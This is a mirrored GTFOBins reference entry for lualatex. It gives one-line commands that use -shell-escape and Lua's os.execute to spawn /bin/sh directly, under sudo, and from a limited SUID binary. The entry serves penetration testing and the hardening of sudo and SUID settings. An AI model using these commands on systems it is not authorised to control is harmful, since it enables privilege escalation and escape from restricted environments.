mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
11 lines
497 B
Markdown
11 lines
497 B
Markdown
---
|
|
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
|
functions:
|
|
shell:
|
|
- code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
|
sudo:
|
|
- code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
|
limited-suid:
|
|
- code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
|
---
|